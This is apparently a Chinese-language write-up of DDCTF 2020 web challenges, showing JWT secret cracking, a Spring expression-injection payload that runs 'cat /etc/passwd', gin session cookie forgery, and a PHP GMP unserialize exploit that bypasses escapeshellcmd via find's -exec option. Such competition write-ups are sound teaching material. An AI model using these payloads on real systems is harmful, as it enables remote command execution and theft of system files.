前言
这比赛过了好久,这wp也放了好久了,随便记一下吧 这次比赛没拿到什么名次,但是抽奖倒是抽到了点东西(狗头)
Web签到题
题目链接:
http://117.51.136.197/hint/1.txt
访问http://117.51.136.197/admin/login
POSTusername=lz2y&pwd=passwd
,得到一串数据
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6Imx6MnkiLCJwd2QiOiJwYXNzd2QiLCJ1c2VyUm9sZSI6IkdVRVNUIiwiZXhwIjoxNTk5NTU2MzYwfQ.vcvMjde1GSZrbEkOrIi1ceoEDChQe9g5y4Et2o0ZzyE
是jwt,去https://jwt.io/
看一下
关于jwt伪造可看这篇博客
https://mazinahmed.net/blog/breaking-jwt/
尝试爆破,这里使用了上面博客的工具
python3 jwt-cracker.py -jwt "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6Imx6MnkiLCJwd2QiOiJwYXNzd2QiLCJ1c2VyUm9sZSI6IkdVRVNUIiwiZXhwIjoxNTk5NTU2MzYwfQ.vcvMjde1GSZrbEkOrIi1ceoEDChQe9g5y4Et2o0ZzyE" -t 10 -w "./wordlist.txt"
[info] Loaded wordlist.
[info] starting brute-forcing.
[#] KEY FOUND: passwd
可以看到钥密就是passwd
(一开始我以为自己运气好,输入就是他给的钥密,后来有师傅说他的钥密就是我们输入的…)幸好没用强密码
接下来就是生成jwt了
得到下载地址client dowload url: http://117.51.136.197/B5Itb8dFDaSFWZZo/client
Go语言逆向后转为python(doge)
import sys
import hmac
import base64
from hashlib import sha256
import time,datetime
import requests
appsecret = "DDCTFWithYou".encode('utf-8')
timestr = str(time.time())[0:10]
cmd = sys.argv[1]
data = cmd+"|"+timestr
signature = base64.b64encode(hmac.new(appsecret,data,digestmod=sha256).digest())
data="{\"signature\":\"%s\",\"command\":\"%s\",\"timestamp\":%s}" % (signature,cmd,timestr)
conn=requests.post(url="http://117.51.136.197/server/command",data=data,headers={'Content-Type':'text/json'})
print conn.content
测试了一下,是SPRING的SSTI
// cat /etc/passwd
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())
查找flag:cat /home/dc2-user/flag/flag.txt
,手动转ASCII太麻烦,写个脚本
appsecret = "DDCTFWithYou".encode('utf-8')
timestr = str(time.time())[0:10]
tmp = sys.argv[1]
result = "T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32))"
# cat
for i in tmp:
result = result + ".concat(T(java.lang.Character).toString(" + str(ord(i)) + "))"
# cmd = sys.argv[1]
cmd = result + ").getInputStream())"
#print cmd
data = cmd+"|"+timestr
卡片商店
题目链接:
http://116.85.37.131/11b67e5088cef9b1c97bd5a30eb3b760/
直接换礼物或者向别人借足够的卡,会显示卡不足/借卡记录未还,时间过了还会提示超时…
看了师傅的wp才知道考的是数据溢出
向朋友借2^63-2
个或者再少几个会溢出,2^63-2
是刚刚好需要还0个,再少一点需要还的多一点,但是比起溢出的,我们还是够的
然后等他过一段时间就会还卡片,多出来的足够我们兑换礼物了
访问/flag
,回显{"msg":"对不起,您不是幸运玩家!"}
,夹心饼干,应该是Cookie的问题(事后诸葛亮)
查看Cookie
MTU5OTU2NzIxNXxEdi1CQkFFQ180SUFBUkFCRUFBQV81M19nZ0FDQm5OMGNtbHVad3dIQUFWaFpHMXBiZ1JpYjI5c0FnSUFBQVp6ZEhKcGJtY01DQUFHZDJGc2JHVjBCbk4wY21sdVp3eG1BR1I3SW05M2FXNW5jeUk2VzEwc0ltbHVkbVZ6ZEhNaU9sdGRMQ0p0YjI1bGVTSTZPVEl5TXpNM01qQXpNalUxT1Rnd09ETXhOeXdpYm05M1gzUnBiV1VpT2pFMU9UazFOamN5TVRRc0luTjBZWEowWDNScGJXVWlPakUxT1RrMU5qY3dOelI5fHn6yN9RsBZgPDMabvL_2ZQqCbMxI-zIEzKRs2CgxbEp
base64解码
1599567215|Dv-BBAEC_4IAARABEAAA_53_ggACBnN0cmluZwwHAAVhZG1pbgRib29sAgIAAAZzdHJpbmcMCAAGd2FsbGV0BnN0cmluZwxmAGR7Im93aW5ncyI6W10sImludmVzdHMiOltdLCJtb25leSI6OTIyMzM3MjAzMjU1OTgwODMxNywibm93X3RpbWUiOjE1OTk1NjcyMTQsInN0YXJ0X3RpbWUiOjE1OTk1NjcwNzR9|yQ`<3nٔ* 1#2`ű)
取中间的继续解码
听大佬博客说是jin-session
,也是没接触过的,emmm…特意去装了个Go语言
// 伪造Cookie,secret为"Udc13VD5adM_c10nPxFu@v12"
package main
import (
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
store := cookie.NewStore([]byte("Udc13VD5adM_c10nPxFu@v12"))
r.Use(sessions.Sessions("session", store))
r.GET("/hello", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("admin") != true {
session.Set("admin", true)
session.Save()
}
c.JSON(200, gin.H{"admin": session.Get("admin")})
})
r.Run(":8000")
}
访问localhost:8000/hello
得到Cookie
MTU5OTU2MTgyMXxEdi1CQkFFQ180SUFBUkFCRUFBQUhmLUNBQUVHYzNSeWFXNW5EQWNBQldGa2JXbHVCR0p2YjJ3Q0FnQUJ8kKRujALcgOnHb7vDlMuFXvPrskrcnhDo3iBfdD0KdM8=
替代/flag
网页中的cookie,得到flag
Overwrite Me
进去得到源码
Welcome to DDCTF 2020, Have fun!
<?php
error_reporting(0);
class MyClass
{
var $kw0ng;
var $flag;
public function __wakeup()
{
$this->kw0ng = 1;
}
public function get_flag()
{
return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
}
}
class Prompter
{
protected $hint;
public function execute($value)
{
include($value);
}
public function __invoke()
{
if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
{
die("Don't Do That!");
}
$this->execute($this->hint);
}
}
class Display
{
public $contents;
public $page;
public function __construct($file='hint.php')
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
}
public function __toString()
{
return $this->contents();
}
public function __wakeup()
{
$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);
}
}
class Repeater
{
private $cont;
public $content;
public function __construct()
{
$this->content = array();
}
public function __unset($key)
{
$func = $this->content;
return $func();
}
}
class Info
{
function __construct()
{
eval('phpinfo();');
}
}
$show = new Display();
$bullet = $_GET['bullet'];
if(!isset($bullet))
{
highlight_file(__FILE__);
die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
$infos = new Info();
}else
{
$obstacle = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
@unserialize($bullet);
echo $mc->get_flag();
}
Give Me Something!
直接访问/hint/hint.php
Good Job! You've got the preffix of the flag: DDCTF{VgQN6HXC2moDAq39And i'll give a hint, I have already installed the PHP GMP extension, It has a kind of magic in php unserialize, Can you utilize it to get the remaining flag? Go ahead!
看提示应该是PHP GMP extension
的问题,搜了一下,存在GMP类型混淆漏洞
看了几篇博客,还是没构造出可用payload(看了别人的wp,都是一样的博客,我就构造不出来,我还是太菜了…)
https://paper.seebug.org/1267/
https://hackerone.com/reports/198734
如果__wakeup
设置的变量值为数值为mc(即MyClass)顺序实例化的值,就可以进行属性覆盖,这里题目第三个实例化了MyClass,所以得__wakeup
设置的$this->kw0ng
得为3才能覆盖mc,所以我们不能直接利用这里的__wakeup
直接进行GMP类型混淆覆盖mc的值
因为php版本为5.6.10
,所以是可以使用内置类的
<?php
$pos = "3";//第三个实例化
$inj = "-exec cat {} ;";
$inner = 's:1:"'.$pos.'";a:3:{s:4:"flag";s:'.strlen($inj).':"'.$inj.'";s:2:"hi";s:2:"aa";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
DDCTF给出了不同的环境,有的是第三个实例化了MyClass,有的是第四个,修改的就是$pos
的值,第几个实例化就是什么,$inner
是需要覆盖的属性
而这里的$inj
,就是flag
字段的值,我们需要利用system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
,就得绕过这个escapeshellcmd
也可以用-iname sth -or -exec cat /etc/passwd ; -quit
这样绕过,参考
https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md#find
真·签到题
公告里有flag
一起拼图吗
队友写的,还没细看
#-*- coding:utf-8 -*-
from PIL import Image
import os
import time
from PIL import ImageFile
ImageFile.LOAD_TRUNCATED_IMAGES = True
def get_filename(path,filetype): #获取一个文件夹中一个类型的文件的文件名,返回文件名列表
name = []
for root,dirs,files in os.walk(path):
for i in files:
if filetype+' ' in i+' ':
name.append(i)
return name
def judge(image_0,image_1,x,y): #判断大图和小图是否匹配
bool=False
for i in range(0,25):
r0,g0,b0,t0 = image_0.getpixel((x+i*2,y))
r1,g1,b1 = image_1.getpixel((i*2,0))
if((((r0-r1)+(g0-g1)+(b0-b1))<6)and((r0-r1)+(g0-g1)+(b0-b1))>-6): #设置容错
bool_0 = True
else:
bool_0 = False
break
for i in range(0,25):
r0,g0,b0,t0 = image_0.getpixel((x+i*2,y+26))
r1,g1,b1 = image_1.getpixel((i*2,26))
if((((r0-r1)+(g0-g1)+(b0-b1))<6)and((r0-r1)+(g0-g1)+(b0-b1))>-6): #设置容错
bool_1 = True
else:
bool_1 = False
break
return (bool_0 or bool_1)
image_0=Image.open("D:\\tools\\PNG_height_weith\\demo.png") #大图位置
name=get_filename("D:\\tools\\PNG_height_weith\\file_d0wnl0ad",".png") #小图文件夹
count=0
ch=[]
for x_0 in range(0,80):
x_1=x_0*51
for y_0 in range(0,80):
print("正在跑第"+str(x_1)+"列,第"+str(y_0+1)+"个位置,正在拼第"+str(count+1)+"/6400张")
y_1 = y_0 * 27
for n in name:
image_1=Image.open("D:\\tools\\PNG_height_weith\\file_d0wnl0ad\\"+n)
if(judge(image_0,image_1,x_1,y_1)):
ch.append(n+":"+str(x_1)+":"+str(y_1))
name.remove(n)
count=count+1
break
time.sleep(5)
to_image = Image.new('RGB',(4080,2160)) #目的图
for i in ch:
w1=i.split(':')
to_image.paste(Image.open("D:\\tools\\PNG_height_weith\\file_d0wnl0ad\\"+w1[0]),(int(w1[1]),int(w1[2])))
to_image.save("D:\\tools\\PNG_height_weith\\final.png") #目的图位置
参考资料
https://www.anquanke.com/post/id/216694#h2-1
http://www.manongjc.com/detail/19-tlgkpcwgzijmjmj.html
本文地址: DDCTF 2020 writeup